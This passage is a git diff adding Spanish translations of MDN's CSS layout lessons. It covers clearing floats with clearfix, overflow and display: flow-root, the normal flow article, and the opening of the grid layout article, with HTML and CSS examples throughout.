+<p>Los cuadros de línea de nuestro siguiente elemento se han acortado para que el texto discurra alrededor del flotador, pero debido a que el flotador se eliminó del flujo normal, el cuadro alrededor del párrafo aún permanece en ancho completo.</p>
+
+<h2 id="Limpiando_floats">Limpiando floats</h2>
+
+<p>Hemos visto que el flotador se elimina del flujo normal y que otros elementos se mostrarán a su lado, por lo tanto, si queremos evitar que un elemento siguiente se mueva hacia arriba, debemos limpiar el <em>float</em>. Esto se logra con la propiedad {{cssxref ("clear")}}.</p>
+
+<p>En el HTML del ejemplo anterior, añade una clase <code>cleared</code> al segundo párrafo debajo del elemento flotante. Luego añade lo siguiente a tu CSS:</p>
+
+<pre class="brush: css notranslate">.cleared {
+  clear: left;
+}
+</pre>
+
+<div id="Float_3">
+<div class="hidden">
+<h6 id="Float_Example_3">Float Example 3</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+
+&lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+    </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.cleared {
+  clear: left;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_3', '100%', 600) }}</p>
+
+<p>Deberías ver que el siguiente párrafo limpia el elemento flotante y ya no aparece junto a él. La propiedad <code>clear</code> acepta los siguientes valores:</p>
+
+<ul>
+ <li><code>left</code>: limpia los elementos flotados a la izquierda.</li>
+ <li><code>right</code>: limpia los elementos flotados a la derecha.</li>
+ <li><code>both</code>: limpia cualquier elemento flotado, a la izquierda o a la derecha.</li>
+</ul>
+
+<h2 id="Limpiar_las_cajas_envueltas_alrededor_de_un_float">Limpiar las cajas envueltas alrededor de un float</h2>
+
+<p>Ahora ya sabes cómo limpiar un elemento que sigue a un elemento flotante, pero observa lo que sucede si tienes un flotante alto y un párrafo corto, con una caja envolviendo a ambos elementos. Modifica tu documento para que el primer párrafo y el cuadro flotante estén envueltos por un {{htmlelement("div")}} con una clase <code>wrapper</code>.</p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>En tu CSS, añade la siguiente regla para la clase <code>.wrapper</code> y después recarga la página:</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}</pre>
+
+<p>Además, elimina la clase <code>.cleared</code> anterior:</p>
+
+<pre class="comment-text  notranslate" id="ct-0">.cleared {
+    clear: left;
+}</pre>
+
+<p>Verás que, como en el ejemplo en el que hemos puesto un color de fondo al párrafo, el color de fondo pasa por detrás del elemento flotante.</p>
+
+<div id="Float_4">
+<div class="hidden">
+<h6 id="Float_Example_4">Float Example 4</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_4', '100%', 600) }}</p>
+
+<p>Una vez más, esto se debe a que el flotador se ha sacado del flujo normal. Limpiar el siguiente elemento no ayuda con este problema de limpieza de caja, donde queremos que la parte inferior de la caja envuelva el elemento flotante y envuelva el contenido incluso si el contenido es más corto. Hay tres formas posibles de lidiar con esto, dos que funcionan en todos los navegadores, pero tienen algo de truco, y una tercera, nueva forma de lidiar con esta situación correctamente.</p>
+
+<h3 id="El_hack_clearfix">El hack clearfix</h3>
+
+<p>La forma en que esta situación se ha tratado tradicionalmente es utilizando algo conocido como "truco clearfix". Esto implica insertar algún contenido generado después del cuadro que contiene el contenido flotante y envolvente, y configurarlo para limpiar ambos.</p>
+
+<p>Añade el siguiente CSS al ejemplo:</p>
+
+<pre class="brush: css notranslate">.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}</pre>
+
+<p>Ahora recarga la página y la caja debería limpiarse. Esto es básicamente lo missmo que si hubieras añadido un elemento HTML como un <code>&lt;div&gt;</code> debajo de los elementos y le hubieras añadido la propiedad <code>clear: both</code>.</p>
+
+<div id="Float_5">
+<div class="hidden">
+<h6 id="Float_Example_5">Float Example 5</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;      </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_5', '100%', 600) }}</p>
+
+<h3 id="Usando_overflow">Usando overflow</h3>
+
+<p>Un método alternativo es establecer la propiedad {{cssxref("overflow")}} del elemento envolvente con un valor distinto de <code>visible</code>.</p>
+
+<p>Elimina el CSS clearfix que añadiste en la anterior sección y, en su lugar, añade <code>overflow: auto</code> a las reglas de la caja envolvente. De nuevo, la caja debería limpiarse.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}</pre>
+
+<div id="Float_6">
+<div class="hidden">
+<h6 id="Float_Example_6">Float Example 6</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_6', '100%', 600) }}</p>
+
+<p>Este ejemplo funciona creando lo que se conoce como un <em><strong>block formatting context</strong></em> (BFC) o contexto de formato de bloque. Es como un pequeño diseño dentro de nuestra página dentro del cual todo está contenido, por lo tanto, nuestro elemento flotante está contenido dentro del BFC y el fondo se encuentra detrás de ambos elementos. Esto generalmente funcionará, sin embargo, en ciertos casos, es posible que encuentre barras de desplazamiento no deseadas o sombras recortadas debido a las consecuencias no deseadas del uso del desbordamiento..</p>
+
+<h3 id="display_flow-root">display: flow-root</h3>
+
+<p>La manera moderna de resolver este problema es usar el valor <code>flow-root</code> de la propiedad <code>display</code>. Esto existe solo para crear un BFC sin usar hacks; no habrá consecuencias no deseadas cuando lo use. Elimina <code>overflow: auto</code> de la regla <code>.wrapper</code> y añade <code>display: flow-root</code>. Asumiendo que tu <a href="/en-US/docs/Web/CSS/display#Browser_compatibility">navegador sea compatible</a>, la caja se limpiará.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}</pre>
+
+<div id="Float_7">
+<div class="hidden">
+<h6 id="Float_Example_7">Float Example 7</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_7', '100%', 600) }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora ya sabes todo lo que tienes que saber sobre los flotadores en el desarrollo web moderno. Consulta el artículo sobre <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">métodos de diseño anticuados</a> para obtener información de cómo se solían usar, lo que puede serte útil si tienes que trabajar en proyectos antiguos.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/flujo_normal/index.html b/files/es/learn/css/css_layout/flujo_normal/index.html
new file mode 100644
index 0000000000..ffc873938f
--- /dev/null
+++ b/files/es/learn/css/css_layout/flujo_normal/index.html
@@ -0,0 +1,95 @@
+---
+title: Flujo normal
+slug: Learn/CSS/CSS_layout/Flujo_normal
+translation_of: Learn/CSS/CSS_layout/Normal_Flow
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">Este artículo explica el flujo normal, o la forma en que se presentan los elementos de la página web si no cambias su compaginación.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conocer cómo los navegadores presentan de forma predeterminada las páginas web antes de comenzar a hacer cambios.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Como se detalla en el último artículo de introducción al diseño, los elementos en una página web se distribuyen según el flujo normal si no se aplica ningún CSS que cambie la forma en la que se comportan. Y, como comenzamos a descubrir, puedes cambiar el comportamiento de los elementos, ya sea ajustando su posición en este flujo normal o eliminándolos de este por completo. Comenzar con un documento coherente y bien estructurado que sea legible en el flujo normal es la mejor manera de comenzar cualquier página web. Asegura que tu contenido sea legible, incluso si el usuario usa un navegador muy limitado o un dispositivo como un lector de pantalla que lee el contenido de la página. Además, como el flujo normal está diseñado para que un documento sea legible, al comenzar de esta manera, trabajas en el documento en lugar de luchar contra él a medida que haces cambios en su diseño.</p>
+
+<p>Antes de profundizar en los diferentes métodos de diseño, vale la pena revisar algunas de las cosas que ya debes haber estudiado en artículos anteriores con respecto al flujo normal de los documentos.</p>
+
+<h2 id="¿Cómo_se_presentan_por_defecto_los_elementos">¿Cómo se presentan por defecto los elementos?</h2>
+
+<p>En primer lugar, se toma de las cajas de cada uno de los elementos el contenido, luego se añade cualquier área de relleno, borde y margen alrededor de ellas; es el modelo de cajas que hemos visto antes.</p>
+
+<p>De manera predeterminada, el contenido de un <a href="/es/docs/Web/HTML/Block-level_elements">elemento de nivel de bloque</a> es el 100% del ancho de su elemento padre y su altura viene determinada por su contenido. Los <a href="/es/docs/Web/HTML/Elementos_en_línea">elementos en línea</a> tienen su altura y anchura determinados por su contenido. No puedes establecer el ancho o la altura de los elementos en línea, simplemente se ubican dentro del contenido de los elementos de nivel de bloque. Si deseas controlar el tamaño de un elemento en línea de esta manera, debes configurarlo para que se comporte como un elemento de nivel de bloque con <code>display: block;</code> (o incluso, <code>display: inline-block;</code>, que combina características de ambos).</p>
+
+<p>Esto explica los elementos individuales, pero ¿qué hay del modo como los elementos interactúan entre sí? El flujo de diseño normal (mencionado en el artículo de introducción al diseño) es el sistema mediante el cual los elementos se colocan en la ventana gráfica del navegador. De manera predeterminada, los elementos de nivel de bloque se presentan en la <em>dirección del flujo del bloque</em>, en función del <a href="/es/docs/Web/CSS/writing-mode">modo de escritura</a> de los padres (<em>initial</em>: horizontal-tb): cada uno aparecerá en una línea nueva debajo de la última, y estarán separados por cualquier margen que se establezca en ellos. Por lo tanto, en inglés, o en cualquier otro modo de escritura horizontal y de arriba a abajo, los elementos de nivel de bloque se disponen verticalmente.</p>
+
+<p>Los elementos en línea se comportan de manera diferente: no aparecen en líneas nuevas; en su lugar, se asientan en la misma línea entre sí y con cualquier contenido de texto adyacente (o envuelto), siempre que tengan espacio dentro del ancho del elemento de nivel de bloque primario. Si no hay espacio, el texto o los elementos que desborden bajarán a la línea siguiente.</p>
+
+<p>Si dos elementos adyacentes tienen algún margen configurado y los dos márgenes se tocan, se mantiene el mayor de los dos y el menor desaparece; esto se llama colapso del margen, y ya lo hemos visto antes.</p>
+
+<p>Echemos un vistazo a un ejemplo sencillo que explica todo esto:</p>
+
+<div id="Normal_Flow">
+<pre class="brush: html">&lt;h1&gt;Flujo de los documentos básicos&lt;/h1&gt;
+
+&lt;p&gt;Soy un elemento básico de nivel de bloque. Mis elementos de nivel de bloque adyacentes se encuentran en líneas nuevas debajo de mí.&lt;/p&gt;
+
+&lt;p&gt;Cubrimos por defecto el 100% del ancho de nuestro elemento principal, y somos tan altos como nuestro contenido secundario. Nuestro ancho y alto total es nuestro contenido + área de relleno + ancho/alto del borde.&lt;/p&gt;
+
+&lt;p&gt;Estamos separados por nuestros márgenes. Debido al colapso del margen, estamos separados por el ancho de uno de nuestros márgenes, no por ambos.&lt;/p&gt;
+
+&lt;p&gt;Los elementos en línea &lt;span&gt;como este&lt;/span&gt; y &lt;span&gt;este otro&lt;/span&gt; se ubican en la misma y la de los nodos de texto adyacentes, mientras hay espacio en la misma línea. Si un elemento en línea desborda, &lt;span&gt;sigue por la línea siguiente, si es posible (como la que contiene este texto)&lt;/span&gt;, o simplemente pasa a una línea nueva, como hace esta imagen: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: rgba(255,84,104,0.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: white;
+  border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora que comprendes el flujo normal y cómo el navegador presenta las cosas por defecto, continúa para comprender cómo cambiar esta pantalla predeterminada para crear el diseño que necesitas.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">El flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Flotación</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño adaptativo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a media</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredada</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad con los navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de de elementos básicos de compaginación </a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/grids/index.html b/files/es/learn/css/css_layout/grids/index.html
new file mode 100644
index 0000000000..d2632cba2b
--- /dev/null
+++ b/files/es/learn/css/css_layout/grids/index.html
@@ -0,0 +1,696 @@
+---
+title: Cuadrículas
+slug: Learn/CSS/CSS_layout/Grids
+translation_of: Learn/CSS/CSS_layout/Grids
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">La compaginación en cuadrícula con CSS es un método de diseño de páginas web en dos dimensiones. Te permite distribuir el contenido en filas y columnas, y tiene muchas características que facilitan la creación de diseños complejos. Este artículo te proporciona todo lo que necesitas saber para comenzar con el diseño de páginas web.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (véase <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducción al HTML</a>) y una idea de cómo funciona el CSS (véase <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender los conceptos fundamentales que hay detrás de los métodos de compaginación en cuadrícula y de cómo implementar una compaginación en cuadrícula con CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_la_compaginación_en_cuadrícula">¿Qué es la compaginación en cuadrícula?</h2>
+
+<p>Una cuadrícula es un conjunto de líneas horizontales y verticales que crean un patrón sobre el que podemos alinear nuestros elementos de diseño. Las cuadrículas nos ayudan a crear diseños de página en que los elementos no saltan ni cambian de ancho cuando nos movemos de una página a otra, y así proporcionan a nuestras páginas web un aspecto más coherente.</p>
+
+<p>Una cuadrícula en general tiene <strong>columnas</strong>, <strong>filas</strong> y luego espacios entre cada fila y cada columna, conocidos comúnmente como <strong>canales</strong>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13899/grid.png" style="display: block; height: 553px; margin: 0px auto; width: 1196px;"></p>
+
+<h2 id="Crear_tu_cuadrícula_con_CSS">Crear tu cuadrícula con CSS</h2>
+
+<p>Una vez que has decidido qué tipo de cuadrícula necesita tu diseño de página, puedes usar la compaginación en cuadrícula con CSS para crear esa cuadrícula y posicionar elementos en ella. Primero veremos las características básicas de la compaginación en cuadrícula y luego exploraremos cómo crear un método de compaginación de cuadrícula sencilla para tu proyecto.</p>
+
+<h3 id="Definir_una_cuadrícula">Definir una cuadrícula</h3>
+
+<p>Como punto de partida, descárgate el <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html">archivo de punto de partida</a> y ábrelo en tu editor de texto y tu navegador (también puedes <a href="https://mdn.github.io/learning-area/css/css-layout/grids/0-starting-point.html">verlo en vivo aquí</a>). Hay un ejemplo con un contenedor que tiene algunos elementos hijo. Por defecto, estos se muestran en flujo normal, por lo que las cajas se muestran una debajo de la otra. Vamos a trabajar con este archivo durante la primera parte de este artículo, y vamos a hacer cambios en él para ver cómo se comporta la cuadrícula.</p>
+
+<p>Para definir una cuadrícula utilizamos el valor <code>grid</code> de la propiedad {{cssxref ("display")}}. Al igual que con el método Flexbox, esto activa la compaginación de cuadrícula y todos los elementos que son hijos directos del contenedor se convierten en elementos de cuadrícula. Añade esto al CSS en tu archivo:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+}</pre>
+
+<p>A diferencia del método Flexbox, los elementos no se ven diferentes inmediatamente. La declaración <code>display: grid</code> te proporciona una cuadrícula de una sola columna, por lo que tus elementos continúan mostrándose uno debajo del otro, como lo hacen en el flujo normal.</p>
+
+<p>Para ver algo que se parezca más a una cuadrícula, necesitamos añadir columnas a la cuadrícula. Vamos a añadir tres columnas de 200 píxeles. Puedes usar cualquier unidad de longitud o porcentajes para crear estas trazas de columna.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 200px 200px 200px;
+}</pre>
+
+<p>Añade la segunda declaración a tu regla CSS, luego vuelve a cargar la página y observa que los elementos se reubican uno en cada celda de la cuadrícula que has creado.</p>
+
+<div id="Grid_1">
+<div class="hidden">
+<h6 id="Ejemplo_sencillo_de_cuadrícula">Ejemplo sencillo de cuadrícula</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+ &lt;div&gt;Uno&lt;/div&gt;
+ &lt;div&gt;Dos&lt;/div&gt;
+ &lt;div&gt;Tres&lt;/div&gt;
+ &lt;div&gt;Cuatro&lt;/div&gt;
+ &lt;div&gt;Cinco&lt;/div&gt;
+ &lt;div&gt;Seis&lt;/div&gt;
+ &lt;div&gt;Siete&lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<pre class="brush: css">.container {
